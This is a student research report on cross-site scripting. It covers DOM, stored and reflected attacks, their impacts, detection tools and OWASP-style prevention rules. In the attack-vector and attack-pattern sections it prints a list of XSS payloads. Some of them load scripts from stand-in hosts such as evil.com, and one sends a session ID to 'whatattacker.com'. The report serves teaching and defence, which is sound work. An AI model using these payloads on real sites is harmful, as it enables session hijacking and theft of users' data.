Introduction to Computer Security
Research report on
“Cross-site Scripting Attacks, What They Are and How to Avoid Them”
Submitted by
Sowmya Yadav Akula
I. INTRODUCTION
Web applications are used on a large scale worldwide where they handle personal data of the users. These web application are becoming truly pervasive in all kinds of business models and organizations. Today, most critical systems such as those related to health care, banking, or even emergency response, are relying on these applications. The security of these web application is very important and are not secured which has been a major issue lately. The Cross-Site Scripting (XSS) attack is the most regularly happened attack nowadays [1, 2].
These attacks have been around since the 1990s and most major websites like Google, Yahoo and Facebook have all been affected by XSS flaws at some point, a security exploit in which the attacker inserts malicious client-side code into web pages. Attacks exploiting XSS vulnerabilities can steal data, take control of a user's session, run malicious code, or be used as part of a phishing scam. Sites continue to fall prey to XSS attacks because most need to be interactive, accepting and returning data from users. This means attackers, too, can interact directly with an application's processes, passing data designed to masquerade as legitimate application requests or commands through normal request channels such as scripts, URLs and form data. This communication at the application layer can exploit poorly written applications to bypass traditional perimeter security defences [3].
XSS attacks are types attacks where malicious scripts are injected into the websites. This attack occurs when a malicious code is sent by the attacker to the web application in the form of browser side script to a different end user. The flaws of a successful XSS attack are widespread and occur anywhere a web application uses input from a user and generates output without validating or encoding it. The attacker can use this attack by sending a malicious script to an user and the user can no way know that the script should not be trusted and will execute it. Since the script came from a trusted source, it can access any cookies, session tokens and any other sensitive information saved by browser and used with that web application. These scripts have the ability to rewrite the content of the web application [4].
The web application owners must therefore include, in addition to the expected value offered to their users, reliable mechanisms to ensure their security. In this paper, I have focused on the problems of XSS attacks against web applications. Based on my research, in the next section I will go over what what XSS attacks are more deeply with its attack vectors and present a study of different types of XSS attacks. Finally, I would conclude the paper by providing how to detect and prevent these based on current research.
II. XSS attacks, types and preventive measures
A. XSS attacks
XSS attacks are those attacks against web applications in which an attacker gets control of a user’s browser in order to execute a malicious script (usually an HTML/JavaScript code) within the context of trust of the web application’s site. These attacks relays on the injection of a malicious code into a web application, in order to compromise the trust relationship between a user and the web application’s site. As a result, and if the embedded code is successfully executed, the attacker might then be able to access, passively or actively, to any sensitive browser resource associated to the web application (e.g., cookies, session IDs, etc.). If the vulnerability is successfully exploited, the malicious user who injected the code may then bypass, for instance, those controls that guarantee the privacy of its users, or even the integrity of the application itself [1]. We study three main types of XSS attacks [2] which are presented below.
DOM based XSS Attacks
Dom based XSS is also known as type 0 XSS. It is a client side attack, in this attack user provided data is written to the document object model (DOM) by the web application client side script. The web application then simultaneously read data from the DOM. As a part of DOM, an attacker could also insert a payload which is executed when the data is read back from DOM. Attacker’s payload is never sent to the server thus making it difficult for web application firewalls and security engineers, who are analyzing the server log to detect this attack [6]. The DOM-based XSS attack is considered as client-side vulnerability. The DOM-based XSS attack occurs in Document Object Model (DOM) rather than in the HTML code. In Figure 1, the steps of the DOM-based XSS attack are illustrated [8]. These steps are as follows:
The user receives a link contains malicious script from the attacker via email or bulletin board or through a similar webpage.
The user uses this malicious link. The request and the response do not contain malicious script.
The malicious script code is executed at the client and sends the user’s cookies to the attacker's domain.
The attacker can store these stolen cookies for future use.
Fig 1: DOM based XSS attack
Stored Attack or Persistent XSS Attacks:
Stored XSS is also known as persistent XSS or type 1 XSS [6]. In this attack, attacker embedded a malicious script which gets permanently stored on the server. This kind of attack occurs frequently in the social networks and other similar applications. One of the most common examples of this type is a XSS attack in a comment field of a blog or forum post. The steps of the Stored XSS vulnerability are illustrated [2] in figure 2. These steps are as follows:
The attackers insert a malicious script code on a web application that has a vulnerability.
When the user sends HTTP request, the web page content which includes the malicious code is accessed.
The malicious script is sent to the user by the HTTP response.
The script is executed in the web browser and sends the session cookies to the attackers.
These stolen cookies are stored on the attacker's domain.
Fig 2: Stored XSS attack
Non-Persistent Attacks or Reflective Attacks
Reflected XSS is also known as non persistent or type 2 XSS. In this attack attacker first builds the malicious link. After creating the malicious link it sends the URL to the user via email and persuades them to click on it. User then sends the request to the server to give access to the required page. Genuine server handles the request made by the user and sends the response page containing the malicious code. Malicious XSS link gets executed inside the user’s browser when the user login and sends the sensitive information to the attacker [6]. The purpose of this attack is to steal the session cookie of the user. This type of XSS attack requires a more interaction between the victim and the attacker. The steps of the Reflected XSS attack are illustrated [2] in figure 3. The steps are as follows:
The attacker sends a link containing malicious script code to the user via email or any similar web page.
when the user clicks on this link, the malicious code is sent to the server without being detected by the web application
The server sends the HTTP response to the user with the malicious script code.
The attacker's domain receives the user's cookies after executing the script contained in the response.
The attacker can store these cookies for future use.
Fig 3: Reflected XSS attack
B. Current Issues of XSS attacks
The following are the issues of XSS attacks from [7]
Cookie Stealing: The attacker steals the user’s cookie that contains the user’s credentials and uses the victim’s session using session id. There are several attack methods to steal the cookies if it is not secure.
Key logging: Using keylogger the attacker can record and sent all keyboard activity of the user to their servers, like userid, password, card information and etc.,
Phishing: The attacker can also steal the cookie using DOM based attack. He can steal the user information using the creation of fake login page by manipulation in DOM.
Although these all attacks are similar in some context, in all cases the attackers manipulate the existing javascript code and inject the code. The request sent to the web server is similar in both cases if it is the valid or invalid script, the server gets the request and serves the response as input script.
C. Impacts of XSS attacks
The technical impact of XSS attacks is that the malicious link gets executed on the victim’s browser where the user session gets hijacked thereby leading to damage of website data, adding wrathful comments on the website and also user being redirected to the attacker's server. As the data is exploited, it also affects the business value [6].
D. XSS Attack Vectors
The attack vectors that an attacker can use to compromise the security of a website or web application through an XSS attack are given below [5]. A more extensive list of XSS payload examples is maintained here [5]
Script<script> Tag
The <script> tag is the most straight-forward XSS payload. A script tag can either reference external JavaScript code, or embed the code within the script tag.
Example of <script> XSS attack
<!– External script –>
<script src=http://evil.com/xss.js></script>
<!– Embedded script –>
<script> alert("XSS"); </script>
Body<body> Tag
An XSS payload can be delivered inside <body> tag by using the onload attribute or other more obscure attributes such as the background attribute
Example of <body> XSS attack
<!– onload attribute –>
<body onload=alert("XSS")>
<!– background attribute –>
<body background="javascript:alert("XSS")">
Image<img> Tag
Some browsers will execute JavaScript when found in the <img>.
Example of <img> XSS attack
<!– <img> tag XSS –>
<img src="javascript:alert("XSS");">
<!– tag XSS using lesser-known attributes –>
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
Iframe<iframe> Tag
The <iframe> tag allows the embedding of another HTML page into the parent page. An IFrame can contain JavaScript, however, it’s important to note that the JavaScript in the iFrame does not have access to the DOM of the parent’s page due to the browser’s Content Security Policy (CSP). However, IFrames are still very effective means of pulling off phishing attacks.
Example of <iframe> XSS attack
<!– <iframe> tag XSS –>
<iframe src=”http://evil.com/xss.html”>
Input<input> Tag
In some browsers, if the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.
Example of <input> XSS attack
<!– <input> tag XSS –>
<input type="image" src="javascript:alert('XSS');">
Link<link> Tag
The <link> tag, which is often used to link to external style sheets could contain a script.
Example of <link> XSS attack
<!– <link> tag XSS –>
<link rel="stylesheet" href="javascript:alert('XSS');">
Table<table> Tag
The background attribute of the table and td tags can be exploited to refer to a script instead of an image.
Example of <table> XSS attack
<!– <table> tag XSS –>
<table background="javascript:alert('XSS')">
<!– <td> tag XSS –>
<td background="javascript:alert('XSS')">
Div<div> Tag
The <div> tag, similar to the <table> and <td> tags can also specify a background and therefore embed a script.
Example of <div> XSS attack
<!– <div> tag XSS –>
<div style="background-image: url(javascript:alert('XSS'))">
<!– <div> tag XSS –>
<div style="width: expression(alert('XSS'));">
Object<object> Tag
The <object> tag can be used to include in a script from an external site.
Example of <object> XSS attack
<!– <object> tag XSS –>
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
E. XSS Attacks Patterns
There are three different attack patterns [9]. They are Direct attack patterns, Multi-format attack patterns, and DOM detection patterns. They are discussed in detail below.
Direct Attack Patterns
In Direct attack patterns, attack vectors are obviously determined. For example,
<body onscroll=alert(1)>
<br><br><br><br><br><br><br><br>
<input autofocous>
Multiple Format Attack Patterns
Multiple format attack patterns include direct attack patterns as well as attributes that can be more comprehensively exploited. For example,src attribute indicates a source URL, commonly used in many tags.
<img
src="http://whatattacker.com/cookies.php?id="+localStorage.getItem('SessionID')+"'>");
</img>
DOM Attack Patterns
In DOM detection pattern, Document Object Model, like onerror, onload etc., is the extensive use of automatic execution of the script. It is usually found in the input field that can implement XSS attacks without victim's approval [9].
F. Detection Tools of XSS Attacks
Some of the tools [6] used for detection of XSS vulnerabilities are discussed below.
TABLE 1 – TOOLS FOR DETECTING XSS
S. No
Tool Name
Description
1
N- Stalker
It is a web scanning tool which is used for the detection of XSS vulnerabilities and other known attacks.
2
Acunetix
It scans the website to check whether the website is vulnerable to XSS attack or not.
3
Paros
Paros first crawls the entire website and then executes the canned vulnerability scanner test.
4
Hackbar
This tool helps the security analyzer to analyze the security holes faster and easily.
5
XSS ME
It is a Exploit-Me tool which is used for the detection of reflected type XSS.
G. Prevention of XSS Attacks
There are six rules [6] according to which XSS can be prevented they are discussed below:
TABLE 2 – RULES FOR PREVENTING XSS
Rule
Description
Example
Rule 0
“Never insert untrusted data except in allowed location”
“ <script>….do not put untrusted data here….</script>”
(directly in a script)
“ <!…do not put untrusted data here….–>”
(inside an HTML comment)
“ <div…do not put untrusted data here…=test/> “
(in an attribute name)
“ <…do not put untrusted data here…/href =“/test”>”
(in a tag name)
Rule 1
“HTML escape before inserting untrusted data into HTML element content”
“ <body>….escape untrusted data before putting here….</body>”
“ <div>….escape untrusted data before putting here….</div>”
Rule 2
“Attribute escape before
Inserting untrusted data
into HTML common attributes”
“ <div attr=….escape untrusted data before putting
here….>content</div>”
(Inside UNquoted attribute)
“ <div attr=‟….escape untrusted data before putting
here….‟>content</div>”
(Inside single quoted attribute)
“ <div attr=”….escape untrusted data before putting
here….”>content</div>”
(Inside double quoted attribute)
Escape all the characters whose ASCII values is less than 256 except alphanumeric characters.
Rule 3
“JavaScript escape before
Inserting untrusted data
into HTML JavaScript data
values”
“<script>alert(„….escape untrusted data before putting here‟)….</script>”
(Inside quoted string)
“<script>x=„….escape untrusted data before putting here‟)….</script>”
(one side of quoted expression)
Rule 4
“CSS escape before inserting
untrusted data into HTML style property values”
“<style>selector{property: ….escape untrusted data before putting here..;} </script>”property value
“<span style = property:….escape untrusted data before putting here..;>text</style>”property value
Rule 5
“URL escape before inserting
untrusted data into HTML URL parameter values”
<ahref=http://www.abc.com?test=…U
RL escape untrusted data before putting here…>link</a>
Apart from these rules, a google chromium browser extension is being developed [8] called ‘CounterXSS’ which will look for the attack patterns in the background discussed above and alert the users. This is a great way to let the users know that the web application they are using has been hacked.
III. CONCLUSION
In this paper, I have studied what XSS attacks are and presented a literature review of different types of XSS attacks with examples. I have also presented the attack vectors which can be used by the attackers to exploit the victim’s browser. I have found that the XSS attacks are still exploiting the web application vulnerabilities to steal the user credential. The techniques that are used to detect and prevent the XSS attack still needs more work to enhance the accuracy of XSS detection and prevention. I have also provided the tools to detect XSS attacks and how can they be prevented before happening. Also, I have come to know that there are browser extensions being developed to counter attack XSS by letting users know before even they are exploited which is a good thing.
Also, OWASP recently developed a Web Application Firewall (WAF) model that can detect and prevent the Reflected XSS attack but the Stored XSS attack and the DOM-based XSS attack are still requires more work. The future work is to develop a defensive mechanism that uses data mining and machine learning techniques, to detect and prevent the Stored XSS attack and DOM-based XSS attack in order to reduce the false negative and false positive.
References
[1] Garcia-Alfaro, J., & Navarro-Arribas, G. (2009). A survey on cross-site scripting attacks. arXiv preprint arXiv:0905.4850.
[2] Mahmoud, S. K., Alfonse, M., Roushdy, M. I., & Salem, A. B. M. (2017, December). A comparative analysis of Cross Site Scripting (XSS) detecting and defensive techniques. In Intelligent Computing and Information Systems (ICICIS), 2017 Eighth International Conference on (pp. 36-42). IEEE.
[3] Cross-site scripting explained: How to prevent XSS attacks (2009, November). Retrieved from
https://www.computerweekly.com/tip/Cross-site-scripting-explained-How-to-prevent-XSS-attacks.
[4] Cross-site Scripting (XSS) (2018, June 5). Retrieved from https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[5] XSS Filter Evasion Cheat Sheet (2018, July 4). Retrieved from https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
[6] Ambedkar, M. D., Ambedkar, N. S., & Raw, R. S. (2016, April). A comprehensive inspection of cross site scripting attack. In Computing, Communication and Automation (ICCCA), 2016 International Conference on (pp. 497-502). IEEE.
[7] Shrivastava, A., Choudhary, S., & Kumar, A. (2016, October). XSS vulnerability assessment and prevention in web application. In Next Generation Computing Technologies (NGCT), 2016 2nd International Conference on (pp. 850-853). IEEE.
[8] Pranathi, K., Kranthi, S., Srisaila, A., & Madhavilatha, P. (2018, March). Attacks on Web Application Caused by Cross Site Scripting. In 2018 Second International Conference on Electronics, Communication and Aerospace Technology (ICECA) (pp. 1754-1759). IEEE.
[9] Sivanesan, A. P., Mathur, A., & Javaid, A. Y. (2018, May). A Google Chromium Browser Extension for Detecting XSS Attack in HTML5 Based Websites. In 2018 IEEE International Conference on Electro/Information Technology (EIT) (pp. 0302-0304). IEEE.